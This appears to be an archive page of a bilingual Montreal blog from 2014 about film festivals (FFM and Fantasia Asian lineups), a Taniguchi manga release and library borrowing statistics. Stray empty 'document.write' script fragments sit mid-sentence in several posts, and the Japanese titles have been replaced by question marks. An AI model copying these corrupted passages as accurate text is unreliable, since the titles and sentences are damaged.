Blossom bloom (????? / Sakura saku): Japan, 2014, 107 min.; Dir.: Mitsutoshi Tanaka; Scr.: Masashi Sada (based on his short story), Eriko Komatsu; Phot.: Takeshi Hamada; Prod.: Norihisa Ohara, Ryosuke Otani; Cast: Naoto Ogata (Shunsuke Osaki), Kaho Minami (Akiko), Tatsuya Fuji (Shuntaro), Karen Miyama, Masato Yano.

With a highly paid job, a beautiful wife, and two independent teenage kids, not to mention his own father living with him at home, Shunkuze, 47, seems to have it all. But appearances can be deceiving.

Schedule: Fri 8/22 19:20 QL12; Sat 8/23 11:40 QL12; Sun 8/24 16:40 QL12.
A sparkle of life (Sansan): Japan, 2014, 81 min.; Dir.: Bunji Satoyama; Phot.: Shogo Ueno; Ed.: Hitomi Katô; Mus.: Sayaka Asaoka, Asuka Matsumoto; Cast: Kazuko Yoshiyuki, Akira Takarada, Natsue Hyakumoto, Michiyo Miyata, Kanami Tagawa, Masatake Takei, Kei Takushima, Kazuko Tauchi, Yoichi Toyama, Toshiko Tsumura, Gaku Yamamoto.

Lonely after the death of her husband, whom she nursed for years, 77 year-old Tae Tsurumoto decides to find a new life partner. Her family and friends try to dissuade her.

Schedule: Wed 8/27 19:20 QL14; Thu 8/28 12:30 QL14; Fri 8/29 14:10 QL14.
One third (??????? / Sanbun no ichi): Japan, 2014, 119 min.; Dir.: Hiroshi Shinagawa; Scr.: Hiroshi Shinagawa (based on a novel by Hanta Kinoshita); Cast: Tatsuya Fujiwara, Koki Tanaka, Ryuichi Kosugi, Mika Nakashima, Yosuke Kubozuka, Shinnosuke Ikehata, Ryo Kimura, Sho Aikawa, Mitsu Dan, Ayumi Shimozono.

Three small-time crooks desperate to turn their lives around manage to pull off a successful bank hit in broad daylight. But they aren’t the only ones after the loot.

Schedule: Fri 8/22 14:30 QL15; Sat 8/23 21:50 QL15; Mon 8/25 10:00 QL15.
Tokyo: The city of glass (???????????? / Tôkyô: Koko wa Glass no Machi): Japan, 2014, 100 min.; Dir.: Kazuhiro Teranishi; Scr.: Oroba Irie & Kazuhiro Teranishi; Phot.: Shigeru Iwamatsu; Ed.: Kumiko Arai; Mus.: Naoto Okabe; Cast: Atsushi Kimura, JK, Tomoko Nakajima.

A graduate student who runs a bar in Shinjuku N-chome, Tokyo’s gay district, meets a Korean man and falls in love, but a 20-year-old homicide case makes this more than a love story.

Schedule: Fri 8/22 19:00 QL15; Sat 8/23 10:00 QL15; Sun 8/24 14:00 QL15.

Focus on World Cinema — Short Films

All He Knows Right: Japan, 2014, 5 min.; Dir.: Akihito Nonowe, Isao Sano, Konoka Takashiro. No dialogue. Second episode of the stop motion experimental animation Keblujara. [Facebook]
No return on perishables (Koi ha kangaeruna, ai ha kanjiro): Japan, 2014, 18 min.; Dir.: Takatsugu Naito.
Suicide volunteers (Tokko Shigan): Japan, 2014, 25 min.; Dir.: Kenshow Onodera. [IMDb]
When the sun falls (Hi-wa-ochiru): Japan, 2014, 39 min.; Dir.: Yuji Kakizaki. [IMDb]
All four shorts are shown together:
Schedule: Tue 8/26 21:40 QL13; Wed 8/27 16:20 QL13.

Tributes

Norwegian wood (??????? / Noruwei no mori): Japan, 2010, 128 min.; Dir.: Tran Anh Hung; Scr.: Haruki Murakami (based on his novel) & Anh Hung Tran; Phot.: Pin Bing Lee; Prod.: Chihiro Kameyama, Shinji Ogawa; Cast: Kenichi Matsuyama, Rinko Kikuchi, Kiko Mizuhara, Tetsuji Tamayama, Kengo Kora, Reika Kirishima, Eriko Hatsune, Tokio Emoto, Shigesato Itoi, Haruomi Hosono, Yukihiro Takahashi. Shown as part of the tribute to Michael J. Werner.

Tokyo, the late 1960s. Students around the world are uniting to overthrow the establishment and Toru Watanabe’s personal life is similarly in tumult.

Schedule: Sat 8/30 21:30 QL12; Sun 8/31 16:10 QL12.
Tôkyô Sonata (????????): Japan, 2008, 119 min.; Dir.: Kiyoshi Kurosawa; Scr.: Max Mannix, Kiyoshi Kurosawa, Sachiko Tanaka; Phot.: Akiko Ashizawa; Ed.: Kôichi Takahashi; Mus.: Kazumasa Hashimoto; Cast: Kazumasa Hashimoto, Kyoko Koizumi, Kai Inowaki, Yu Koyanagi, Koji Yakusho, Haruka Igawa. Shown as part of the tribute to Michael J. Werner.

An ordinary Japanese family slowly disintegrates after its patriarch loses his job at a prominent company, then detours into the comic, the macabre and the sublime.

Schedule: Thu 8/28 16:30 QL12; Fri 8/29 16:30 QL12.
Hiroshima mon amour (???????? / Nij?yojikan no j?ji / lit. “Twenty-four-hour affair”): France / Japan, 1959, 90 min.; Dir.: Alain Resnais; Scr.: Marguerite Duras; Phot.: Michio Takahashi, Sacha Vierny; Mus.: Georges Delerue, Giovanni Fusco; Cast: Emmanuelle Riva, Eiji Okada, Bernard Fresson, Stella Dassas, Pierre Barbaud.

A French actress filming an anti-war film in Hiroshima has an affair with a married Japanese architect as they share their differing perspectives on war.

Schedule: Sat 8/30 19:20 QL11.

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Programmation FFM 2014

August 9, 2014 / Clodjee / 1 Comment

Lors d’une conférence de presse mardi le 5 août dernier le Festival des Films du Monde de Montréal a annoncé les grandes lignes de la programmation de sa 38e édition.
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On nous promet une sélection de qualité qui inclue environ 350 films (160 longs métrages et 190 courts métrages) en provenance de 74 pays. En plus de nous faire découvrir l’avenir du cinéma avec 51 premières oeuvres, document.write(“”); on y retrouvera une centaine de premières mondiales ou internationales et 32 premières nord-américaines. La programmation se divise en huit sections: la Compétition mondiale (32 films dont 13 courts métrages), la Compétition mondiale des premières oeuvres (19 longs métrages), les films Hors concours (17 longs métrages), Regards sur les cinémas du monde (77 longs métrages et 74 courts métrages), les Documentaires du monde (27 longs métrages et 7 courts métrages), les Hommages (dont 5 films en hommage à Michael J. Werner), le Festival du film étudiant: sélection nationale (26 courts métrages) et sélection internationale (60 courts métrages). De quoi plaire à tout les goûts!

Vous trouverez tous les détails de cette riche programmation dans le communiqué de presse (disponible aussi en anglais). Je vous recommande aussi de lire les commentaires que font Le Devoir (“Un FFM affaibli mais debout” par Odile Tremblay, 6 août 2014) et The Gazette (“Festival des films du monde acts globally” par T’cha Dunlevy, 5 août 2014) sur la programmation du FFM.

Vous pouvez également visionner quelques extraits de la conférence de presse sur Vimeo :

Bien sûr, avec le retrait de plusieurs subventions (à ce sujet voir mon billet “Le FFM se prépare à une 38e année difficile”, de même que le récent article du Devoir “L’incompréhensible assassinat du FFM” et l’éditorial de The Gazette du 6 août, “It’s time for Montreal’s main film festival to refocus” [en anglais]), il y aura des événements qui seront annulés ou dont l’avenir est encore incertain, comme les projections en plein air (le FFM cherche toujours un nouveau commanditaire) ou le sous-titrage bilingue des films en compétition (quoique la technologie rend maintenant cela plus facile et surtout moins coûteux). Toutefois, avec la diversité et la qualité habituelle de sa programmation, je ne suis pas sûr la plupart des amateurs fidèles du FFM voient vraiment une différence. Tout ce qu’ils veulent c’est voir de bons et beaux films et, pour cela, ils seront sûrement servi. Et, comme nous le rappel Serge Losique, le FFM est un festival très important, respecté à travers le monde. Il mérite donc toute notre attention et notre support.

Le Festival des Films du Monde de Montréal se tiendra du 21 août au 1er septembre 2014, aux cinémas Impérial (1430 rue de Bleury — Métro Place des Arts) et Quartier Latin (350 rue Emery — Métro Berri-UQAM). Les billets seront disponible dès le 16 août à midi aux guichets des cinémas Impérial et Quartier Latin, et en réseau de billetterie dès le 22 août. Les billets individuels sont $10, les Passeports sont $100 et la Carte Cinéphile est $250. Des carnets de 10 coupons échangeables contre des billets individuels sont également disponible pour $70. Plus de détails sur le site du festival: www.ffm-montreal.org.

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Découverte: Les contrées sauvages

August 1, 2014 / Clodjee / Leave a comment

“L’auteur de Quartier lointain nous propose un périple à travers les grands espaces.”
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“Au milieu d’une nature cruelle et ses créatures hostiles, document.write(“”); l’homme est la proie de tout, et surtout de lui-même.”

“Dans cette anthologie en deux tomes, nous découvrons une facette encore méconnue en France de l’oeuvre de Taniguchi : l’époque où, nourri de bande dessinée européenne, il s’essayait à la BD de genre en y insufflant ce qui est aujourd’hui encore sa marque de fabrique : un immense talent de raconteur d’histoires.”

(Texte du site de l’éditeur)

Animeland nous apprend qu’un nouveau manga de Jirô Taniguchi devrait paraître en France cette automne!

Il s’agit de Les Contrées Sauvages (???? / K?ya yori / From Wilderness) une anthologie de onze histoires publiée au Japon en 2012 par Kobunsha — incluant “Nazuke enu mono” [??????? / Innommable] préalablement publié en 2010 par Kodansha dans Comic Box Amasia, ainsi que “K?ya o ayume” [????? / Le désert d’Ayume], “Rongunaifu” [?????? / Long couteau], “???” [?], “Geronimo” [?????], “Mori e” [?? / Vers la forêt], “Tsuki ni hoeru” [????? / Hurlant à la lune], “Saketa h?k?” [????? / Hurlemant déchiré], “Y?kara no mori” [?????? / La forêt de Yukar], “ Taka” [? / Le Faucon] et “Irataka no juzu” [??????? / Le Rosaire d’Irataka].

La version française devrait paraître chez Casterman (collection Sakka) en deux volumes dont le premier sortira en septembre.

Les Contrées Sauvages vol. 1, par Jirô Taniguchi. Paris: Casterman (collection Sakka), septembre 2014. 240 pgs, 13.95 €, ISBN: 9782203084438.

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Données sur les emprunts de livres

August 1, 2014 / Clodjee / 1 Comment

Un article dans la Gazette du 29 juillet fait une intéressante analyse des données sur les emprunts de livres dans les bibliothèques publiques de Montréal. L’auteur de cet article, document.write(“”); Roberto Rocha (dont la chronique Data Points se spécialise dans ce genre d”interprétation de données), fait ce qui me semble la première analyse indépendante des méta-data sur les bibliothèques publiques que la Ville de Montréal avait rendu publique il y a quelques années au sein de son “Portail de données ouvertes”. On y trouve les statistiques d’emprunt pour les 4,4 millions de documents des 45 bibliothèques de la ville collectées depuis leur inclusion dans le catalogue Nelligan (c’est-à-dire entre le 27 juin 2007 et le 30 août 2011). Le site n’indique pas avoir été mis à jour depuis mais pourtant M. Rocha donne des statistiques pour l’année courante…
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Les conclusions sont très étonnantes: il en ressort que la littérature jeunesse prédomine très largement les emprunts et tout particulièrement la bande-dessinée et les mangas ! Le top 10 des emprunts toutes catégories depuis le début de la compilation des données est le suivant:

Continuez après le saut de page >>

• Naruto (manga)
• Garfield (BD)
• Winx club (BD / novelisation)
• Les Légendaires (BD)
• Détective Conan (manga)
• Les Simpson (BD)
• One Piece (manga)
• Yu-Gi-Oh (manga)
• Fruits basket (manga)
• Caillou (livre d’images)

Toutefois, si l’on tient compte des différents volumes de chaque série et des variantes dans les titres on obtient un tableau un peu différent dont les trois premières positions sont occupées par les mangas Fruits basket, One Piece et la BD Les p’tits diables. On y retrouve trois autres mangas: Chocola & Vanilla (Sugar Sugar Rune) [4e position], Doraemon [5e] et Détective Conan [13e] ainsi que des séries télé comme Dexter [7e], Lost [10e] et The Sopranos [12e]. A noter la présence de la série de littérature jeunessse Psy malgré moi en onzième position.

Je suis fort heureux de constater que les jeunes usagés utilisent beaucoup les bibliothèques (toutefois il ne faut pas oublier que les jeunes n’ont pas l’exclusivité de la lecture de BD!) et que les mangas font si bonnes figures parmi les emprunts — peut-être qu’ils obtiendront finalement le respect qu’ils méritent! Malheureusement, l’article ne donne aucune statistique pour les titres de littérature jeunesse en tant que tel (excluant la BD et les documentaires). J’aurais été bien curieux de voir les titres jeunesses le plus lus tant en anglais qu’en français…

Le top 3 des romans anglais (fiction) inclus The girl with the dragon tattoo (Stieg Larson), Nine Dragons (Michael Connelly) et Fifty shades of Grey (E.L. James).

Le top 3 des romans français inclus A.N.G.E. (Anne Robillard), Mémoires d’un quartier (Louise Tremblay-d’Essiambre) et Aya de Yopougon (Marguerite Abouet).

Chose amusante, le documentaire anglais (non-fiction) le plus populaire est Driving a passenger vehicle alors que le documentaire français le plus populaire est… Conduire un véhicule de promenade ! Il est vrai que ces manuels pour les cours de conduite sont très empruntés.

Vous trouverez plus de détails (et les chiffres exacts) dans l’article lui-même (en anglais).

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Jury of the Montreal World Film Festival

July 31, 2014 / Clodjee / Leave a comment

The Montreal World Film Festival has announced that the jury of the 38th Festival will be presided by Italian actor and director Sergio Castellitto. The jury will also be made of Rachid Bouchareb (Franco-Algerian director-producer), document.write(“”); Andréanne Bournival (Quebec television programming manager), Fridirik Thor Fridriksson (Icelandic producer), Ana Torrent (Spanish actress) and Jane Zhang (Chinese pop singer and actress). (See the full press release)
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The festival has also announced that it will pay tribute to international distributor-producer Michael J. Werner, chairman of film sales of Fortissimo Films. The veteran America-born producer has been located in Hong Kong over the past two decades from where he guided the production and distribution of Asian films to markets around the world. As part of the tribute to Michael J. Werner, the Festival will show five recent films distributed and/or co-produced by Fortissimo: Tears of the Black Tiger directed by Wisit Sasanatieng (Thailand, 2000), Norwegian Wood, by Tran Ang Hung (Japan, 2010, adaptation of the famous Haruki Murakami’s novel), The Grandmaster by Wong Kar Wai (Hong Kong, 2013) and the Canadian premieres of The Great Hypnotist, by Leste Chan (China, 2014) and Black Coal, Thin Ice by Diao Yinan (China / Hong Kong, 2014), this year’s Golden Bear winner at the Berlin Film Festival. (See the full press release)

The only large competitive festival in North America accredited by FIAPF (the International Federation of Film Producers’ Associations), the 38th Montreal World Film Festival will run from August 21 to September 1, 2014.

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Le FFM se prépare à une 38e année difficile

July 18, 2014 / Clodjee / Leave a comment

Dès février, document.write(“”); le FFM sortait ses premiers communiqués de presse de l’année en annonçant la nomination de monsieur Massimo Saidel comme ‘’conseiller spécial’’ pour le Marché international du film du FFM. Massimo Saidel apportera son expertise et se rapportera à Gilles Bériault, le directeur du Marché international du film pour la préparation et l’organisation du prochain marché en 2014, qui se déroulera durant le 38e Festival des Films du monde, du 21 août au 1er septembre 2014. (Voir le communiqué)
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Lire la suite >>

En mars, le FFM annonçait que le Marché international du film de Montréal, qui est une activité importante du Festival des films du monde de Montréal, aura une nouvelle section de films européens ce qui fera du Marché une plateforme majeure du cinéma européen en Amérique. Ce sera l’occasion pour tous les secteurs européens de l’industrie cinématographique de faire la promotion de leurs films et de développer d’éventuels partenariats de coproduction. Le Marché du film de Montréal est un rendez-vous important pour les membres de l’industrie locale qui y trouvent l’occasion unique de rencontrer des professionnels de tous les pays. En plus de la présence des représentants européens, le Marché accueillera à nouveau la Semaine de l’industrie chinoise du cinéma. (Voir le communiqué)

À la fin avril, le FFM annonçait que le 38e Festival des films du monde sera dédié à la mémoire de Gabriel García Márquez décédé plus tôt cette année. Il est “sans conteste un phare unique de la littérature mondiale du XXe siècle. Le FFM tient à saluer sa mémoire en hommage à son immense talent et à son engagement humaniste constant pour la défense des cultures de l’Amérique du Sud. Il est un des adeptes du réalisme magique qui a influencé non seulement ses collègues écrivains mais aussi nombre de cinéastes latino américains et autres que nous avons accueillis ici » a déclaré Serge Losique, président du FFM. (Voir le communiqué)

Puis, en mai, le FFM dévoilait l’affiche du 38e Festival, qui a été choisie par le public. Il s’agit d’une oeuvre l’artiste bolivien Marco Toxico.

Ses œuvres sont reconnues mondialement et ont bénéficié de publications en Allemagne, Argentine, Belgique, Brésil, Espagne, France, Mexique, Pérou et Venezuela en plus d’y être exposées régulièrement. Il est le cofondateur, avec Karen Gil, de la maison d’édition La Ñatita consacrée à la publication de leurs travaux. Il a été nommé parmi les 10 meilleurs illustrateurs par le Cow International Design Festival d’Ukraine et a obtenu une mention lors des Rencontres latino-américaines de Design 2013 de Buenos-Aires. (Voir le communiqué)

À la fin juin, le FFM nous rappelle que le Marché international du film de Montréal se prépare a accueillir une importante délégation de l’industrie cinématographique chinoise qui viendra proposer une série de projets de coproduction. (Voir le communiqué)

Finalement, en juillet, le FFM a annoncé que Salaud, on t’aime de Claude Lelouch sera le film d’ouverture de la 38e édition du festival (voir le communiqué) et que Aimer, boire et chanter d’Alain Resnais en serait le film de clôture (voir le communiqué). On a également annoncé le 1er août que l’acteur Hippolyte Girardot sera présent à Montréal pour la projection de l’ultime film de Resnais, “Aimer, Boire et Chanter” (voir le communiqué).

Malheureuseement, les préparatifs pour cette 38e édition du festival sont perturbés par une sérieuse controverse. Le 5 juin dernier, Le Devoir annonce que le Festival des films du monde est menacé car il serait en panne de financement. En effet, la SODEC ne lui accorderait pas de subventions cette année et deux autres bailleurs de fonds principaux, Téléfilm Canada et la Ville de Montréal, retireraient aussi leurs soutien faute d’avoir accès à tous ses livres, à un plan de redressement bien établi et à des finances équilibrées. Le FFM serait ainsi en faillite technique puisqu’il serait miné par un déficit accumulé de plus de 2,5 millions.

Le FFM réplique avec un communiqué où il affirme que malgré le fait que certaines promesses de soutien n’ont pas été tenues, les préparatifs pour la 38e année du festival continues, que le festival se tiendra malgré tout, et qu’il offrira comme par le passé une sélection riche et variée. Il est impossible de nier que les festival éprouve des difficultés financières mais qu’il devrait passer au travers grâce à une gestion rigoureuse et responsable et à un plan de relance.

Par la suite, La Presse et Le Devoir font la chronique de cette saga (à noter que la série d’articles de La Presse nous parait plutôt hostile envers le festival):

“FFM: des subventions de 1 million en suspens” (La Presse, 6 juin 2014)
“Il était temps” (La Presse, 7 juin 2014)
“FFM: Loto-Québec réfléchit à sa commandite” (La Presse, 10 juin 2014)
“Coupes au FFM: la Ville de Montréal s’explique” (Le Devoir, 21 juin 2014)
“Air Canada se retire du FFM” (La Presse, 26 juin 2014)
“FFM: fin de l’ère Losique-Cauchard” (La Presse, 2 juillet 2014)
“Subvention du FFM: les analystes irrités” (La Presse, 2 juillet 2014)
“Le FFM joue le tout pour le tout” (Le Devoir, 2 juillet 2014)
“Pas de dernière chance au FFM” (La Presse, 3 juillet 2014)
“La SODEC et la Ville ne bougent pas” (Le Devoir, 3 juillet 2014)
“SODEC et FFM: dur divorce” (La Presse, 4 juillet 2014)
“Refus de financer le FFM: la SODEC s’explique” (La Presse, 10 juillet 2014)
“J’accuse…! – Lettre ouverte aux institutions à l’écoute de Monique Simard” (La Presse, 15 juillet 2014)
“SODEC-FFM: la guerre est déclarée” (La Presse, 15 juillet 2014)
“Conflit SODEC-FFM: la direction du festival isolée” (La Presse, 16 juillet 2014)
“FFM: Henry Welsh démissionne” (La Presse, 17 juillet 2014)
“Le FFM demande un arbitrage” (La Presse, 17 juillet 2014)
“Saga SODEC-FFM: Monique Simard multiplie les appuis” (La Presse, 17 juillet 2014)
“Serge Losique demande «la paix des braves»” (La Presse, 17 juillet 2014)

À suivre… Étrangement, à travers toute cette tempête, je n’ai pas vu beaucoup de gens qui défendent le FFM: à part quelques acteurs du monde du cinéma [Le Devoir, 16 juillet — abonnement requis], je n’ai vu qu’un éditorial au Devoir titré “Un actif à conserver” [Le Devoir, 3 juillet — abonnement requis mais heureusement le FFM l’a reprit dans son intégralité sur sa page Facebook] et une chronique de Nathalie Petrowski, titré “Une dernière chance” (La Presse, 7 juillet) qui le défendent tant soit peu.

Je trouve tout cela extrêmement dommage. Comme je l’ai déjà dit dans un commentaire quelque part sur FB, non seulement le FFM nous offre l’occasion de voir des films qu’on ne verrait pas ailleurs (contrairement au festival de Toronto où les films sortent en salles dans les semaines qui suivent; je n’en comprend pas du tout l’intérêt…) mais il fait rayonner la ville de Montréal internationalement ! Oui peut-être qu’il n’attire plus autant les foule que Fantasia (mais les deux festivals visent des public totalement différents) et c’est sûr qu’il y aurait du travail à faire sur la promotion et la gestion mais le FFM n’en demeure pas moins un événement culturel essentiel qui se doit d’être préservé et subventionné. Point. Si on trouve de l’argent pour la F1, je suis sûr qu’on peut faire l’effort d’en trouver pour le FFM ! Alors, grands dieux et s.v.p., arrêtez d’argumenter et faites juste en sorte qu’on puisse voir de bons et beaux films !

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Fantasia 2014

July 13, 2014 / Clodjee / Leave a comment

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The 18th edition of the Fantasia International Film Festival will be held in Montreal from July 17 to August 5, document.write(“”); 2014. Screenings will take place mostly at the freshly renovated Concordia Hall Cinema. This year the festival is offering a lineup of over 160 features films and about 300 shorts. For more programming details check the festival’s web page at www.fantasiafestival.com.

Here our main interest is the asian programming (over sixty movies from seven countries: 22 from Japan, 17 from South Korea, 7 from Hong Kong, 2 from Indonesia, one each from China, Malaysia and Philippines) and particularly the animation (twelve movies from four countries: 8 from Japan, 2 from China, as well as one each from South Korea and Indonesia — there’s also one anime-related animation from Québec).

Update: For comments on the Japanese movies presented at Fantasia, I highly recommend reading Claude R. Blouin’s article [in french], “Montréal, Fantasia 2014 : le Japon des exclus” on Shomingeki web magazine.

A recap list of the Asian programming titles follows (with links to full description).

Anime (+ Asian Animation):

Akira Project (Québec, Dir. Nguyen-Anh Nguyen, 5 mins)
Bayonetta: Bloody Fate (Japan, Dir. Fuminori Kizaki, 90 mins)
Big Hands Oh Big Hands, Let It Be Bigger And Bigger (China, Dir. Lei Lei, 6 mins)
Ghost in the Shell (Japan, 1995, Dir. Mamoru Oshii, 82 mins)
Giovanni’s Island (Japan, Mizuho Nishikubo (I.G.), 102 mins)
Hal (Japan, Dir. Ryotaro Makihara, 60 mins)
Hunter X Hunter: Phantom Rouge (Japan, Dir. Yuzo Sato, 97 mins)
Hunter X Hunter: The Last Mission (Japan, Dir. Keiichiro Kawaguchi, 98 mins)
The Portrait Studio (Japan, Dir. Takashi Nakamura, 17 mins)
The Satellite Girl and Milk Cow (South Korea, Dir. Chang Hyung-yun, 81 mins)
Sonny Boy & Dewdrop Girl (Japan, Dir. Hiroyasu Ishida, 18 mins)
This Is Not A Time To Lie (China, Dir. Lei Lei, 3 mins)
You Can’t Hear Me, You Can’t See Me (Indonesia, Dir. Awi Suryadi / Dicky Fa, 14 mins)

Japan (Live-Action):

Appleseed Alpha (Japan, Dir. Shinji Aramaki, 93 mins)
Black Butler (Japan, Dir. Kentaro Otani / Keiichi Sato, 119 mins)
Crows Explode (Japan, Dir. Toshiaki Toyoda, 129 mins)
Dancing Karate Kid (Japan, Dir. Tsukasa Kishimoto, 78 mins)
Fuku-Chan of Fuku-Fuku Flats (Japan, Dir. Yosuke Fujita, 110 mins)
Gun Woman (Japan, Dir. Kurando Mitsutake, 86 mins)
Hana-Dama: The Origins (Japan, Dir. Hisayasu Sato, 106 mins)
Jellyfish Eyes (Japan, Dir. Takashi Murakami, 101 mins)
Ju-On: The Beginning of the End (Japan, Dir. Masayuki Ochiai, 90 mins)
Live (Japan, Dir. Noboru Iguchi, 105 mins)
The Mole Song: Undercover Agent Reiji (Japan, Dir. Takashi Miike, 130 mins)
Monsterz (Japan, Dir. Hideo Nakata, 111 mins)
Nuigulumar Z (Japan, Dir. Noboru Iguchi, 101 mins)
Puzzle (Japan, Dir. Eisuke Naito, 85 mins)
Real (Japan, Dir. Kiyoshi Kurosawa, 126 mins)
Rurouni Kenshin: Kyoto Inferno (Japan, Dir. Keishi Otomo, 139 mins)
Seventh Code (Japan, Dir. Kiyoshi Kurosawa, 60 mins)
The Snow White Murder Case (Japan, Dir. Yoshihiro Nakamura, 126 mins)
Sweet Poolside (Japan, Dir. Daigo Matsui, 103 mins)
Thermae Romae II (Japan, Dir. Hideaki Takeuchi, 113 mins)
Uzumasa Limelight (Japan, Dir. Ken Ochiai, 103 mins)
Zombie TV (Japan, Dir. Maelie Makuno / Naoya Tashiro / Yoshihiro Nishimura, 78 mins)

Other Asian countries (Live-Action):

3D Naked Ambition (Honk Kong, Dir. Lee Kung-lok, 106 mins)
Cold Eyes (South Korea, Dir. Cho Ui-seok / Kim Byung-seo, 118 mins)
Curse of Evil (Honk Kong, 1982, Dir. Kuei Chih-Hung, 90 mins)
Days of Wrath (South Korea, Dir. Shin Dong-yeop, 103 mins)
Demon of the Lute (Honk Kong, 1983, Dir. Tang Tak-Cheung, 105 mins)
The Fake (South Korea, Dir. Yeon Sang-ho, 101 mins)
The Fatal Encounter (South Korea, Dir. Lee Jae-kyoo, 135 mins)
The Fives (South Korea, Dir. Jeong Yeon-shik, 123 mins)
From Vegas to Macau (Honk Kong, Dir. Wong Jing, 93 mins)
Guardian (Indonesia, Dir. Helfi Kardit, 90 mins)
Han Gong-ju (South Korea, Dir. Lee Su-jin, 112 mins)
The Huntresses (South Korea, Dir. Park Jae-hyun, 106 mins)
Hwayi: A Monster Boy (South Korea, Dir. Jang Joon-hwan, 126 mins)
Ingtoogi: The Battle of Internet Trolls (South Korea, Dir. Um Tae-hwa, 98 mins)
Kabisera (Philippines, Dir. Alfonso Torre III, 101 mins)
Killers (Indonesia, Dir. The Mo Brothers, 137 mins)
Kundo: Age of the Rampant (South Korea, Dir. Yoon Jong-bin, 120 mins)
Miss Granny (South Korea, Dir. Hwang Dong-hyuk, 124 mins)
Mr. Go (South Korea, Dir. Kim Yong-hwa, 132 mins)
No Tears for the Dead (South Korea, Dir. Lee Jeong-beom, 116 mins)
Once Upon a Time in Shanghai (Honk Kong, Dir. Wong Ching-Po, 97 mins)
Recycled (China, Dir. Lei Lei & Thomas Sauvin, 5 mins)
Red Family (South Korea, Dir. Lee Ju-hyoung, 99 mins)
The Run (Malaysia, Dir. Ahmad Idham, 90 mins)
The Spy: Undercover Operation (South Korea, Dir. Lee Seung-jun, 121 mins)
Steel Cold Winter (South Korea, Dir. Choi Jin-seong, 109 mins)
The Suspect (South Korea, Dir. Won Shin-yeon, 137 mins)
That Demon Within (Honk Kong, Dir. Dante Lam, 111 mins)
The White Storm (Honk Kong, Dir. Benny Chan, 134 mins)

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Fantasia unveil their full 2014 lineup

July 13, 2014 / Clodjee / Leave a comment

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2014 is the year that The Fantasia International Film Festival turns 18. We can’t believe it either. Fantasia’s 18th birthday means over 160 features and something in the neighbourhood of 300 shorts, document.write(“”); many being shown for the first time on this continent, a good number screening here for the first time anywhere in the world.

In the previous weeks, they announced many programming highlights in a 1st and 2nd Wave of press releases and now the time has come to unveil the rest of the 2014 lineup.

Camera Lucida
In addition to the previously announced titles, Fantasia’s 2014 Camera Lucida section features the following asian movies:

SEVENTH CODE
Japan, Dir: Kiyoshi Kurosawa. A young Japanese woman finds herself lost and alone in Russia, leading her into a sinister universe of international espionage. SEVENTH CODE is Kiyoshi Kurosawa’s unexpected detour into the thriller genre. Canadian Premiere.

The Return of AXIS: Fantasia’s Animation Showcase
Axis, Fantasia’s international animation showcase, returns with features hailing from Belgium, France, Japan, South Korea, Russia and the USA. Aside from the previous announced Axis titles (like HUNTER X HUNTER: THE LAST MISSION or the special screening of the new HD master for Mamoru Oshii’s 1995 classic GHOST IN THE SHELL), the 2014 lineup features the following asian movies:

APPLESEED ALPHA
Japan, Dir: Shinji Aramaki. Super-soldier Deunan and her hulking cyborg companion Briareos stalk the shattered husk of New York City. A tour-de-force of digital design, APPLESSED ALPHA is essential kick-ass cyberpunk animation. North American Premiere

BAYONETTA: BLOODY FATE
Japan, Dir: Fuminori Kizaki. Bayonetta, a lithe, powerful witch and mistress of the Bullet Arts, dispatches a host of bloodthirsty angels in a church. But what she cannot dispel are the mysteries of her own origin and purpose… Canadian Premiere.

THE FAKE
South Korea, Dir: Yeon Sang-ho. The latest from Yeon Sang-ho, winner of Fantasia’s first Satoshi Kon Award with KING OF PIGS, targets corruption, Korean displacement policies that favour progress over the individual’s welfare, and the dark side of religion. Official Selection: AFI Fest 2013 Quebec Premiere.

HAL
Japan, Dir: Ryotaro Makihara. An android assigned to console a grieving girl learns what being human means in this short, self-contained gem of emotionally resonant science fiction anime. North American Premiere.

HUNTER X HUNTER : PHANTOM ROUGE
Japan, Dir: Yuzo Sato. The stage is set for secrets and conspiracies, fantastic wonders and furious action, as Yoshihiro Togashi’s hugely popular manga series HUNTER X HUNTER makes its big-screen anime debut. Canadian Premiere.

THE SATTELITE GIRL AND MILK COW
South Korea, Dir: Chang Hyung-yun. A familiar trope of Asian animation — fantastical romance between misfits — is turned upside down and inside out in this charmingly surrealist robo-rom-com from South Korea. North American Premiere.

And now more Asian movies announcement:

BLACK BUTLER
Japan, Dir: Kentaro Otani, Keiichi Sato. Shiori sold her soul to avenge her parents’ murder. She and her diabolical butler Sebastian are on a mission… The hit manga’s action-packed big-screen adaptation will thrill diehard fans and newbies alike. Quebec Premiere.

COLD EYES
South Korea, Dir: Cho Ui-seok, Kim Byung-seo. One of South Korea’s absolute blockbuster hits of 2013, a fast-paced, relentless roller-coaster ride into the high-stakes world of criminal surveillance that will leave you absolutely breathless. Quebec Premiere.

DAYS OF WRATH
South Korea, Dir: Shin Dong-yeop. Fifteen years after the torments of his teenage days, Joon-seok seeks vengeance on his erstwhile tormentor, Chang-sik. A Korean revenge film that stands out starkly from its predecessors, bringing in a new perspective for which the genre thirsted. International Premiere.

THE DEMON WITHIN
Hong Kong, Dir: Dante Lam. Beware of the Festival of Hungry Ghosts! The Demon King Gang is creating havoc once again! Lock and load for some high-octane action and horror in a film-noir setting, from Dante Lam (BEAST STALKER, STOOL PIGEON). Quebec Premiere.

THE FATAL ENCOUNTER
South Korea, Dir: Lee Jae-kyoo. This powerful, tragic political thriller retells an oft-told tale of true history, of an attack on the so-called “King of Misfortune” in 1777 Korea. A superior slice of silks-and-swordplay, sultry, sumptuous, sophisticated — and savage. Quebec Premiere.

THE FIVES
South Korea, Dir: Jeong Yeon-shik. Wheelchair-bound Eun-a seeks vengeance on the serial killer who slew her family, and assembles a group of desperate misfits to execute her plan. A gripping, fast-moving team spin on the familiar Korean revenge-thriller formula. Canadian Premiere.

GUARDIAN
Indonesia, Dir: Helfi Kardit. After THE RAID: REDEMPTION (2011) and THE RAID 2 (2014), Indonesia serves up GUARDIAN, an old-school action flick is which a mother pressures her daughter to master the martial arts following the murder of her father. International Premiere.

GUN WOMAN
Japan, Dir: Kurando Mitsutake. Japanese actress Asami is a junkie hooker transformed into a ruthless assassin in this ultraviolent action flick. If you’re into gunfights, hand-to-hand combat and floods of blood, set your sights on GUN WOMAN. Canadian Premiere.

HWAYI: A MONSTER BOY
South Korea, Dir: Jang Joon-hwan. Kidnapped by five criminals in his infancy, Hwayi has spent the last decade shacked up in the woods, learning how to be a cold-blooded killing machine. An exploration of evil from the creator of the cult classic SAVE THE GREEN PLANET! North American Premiere.

KABISERA
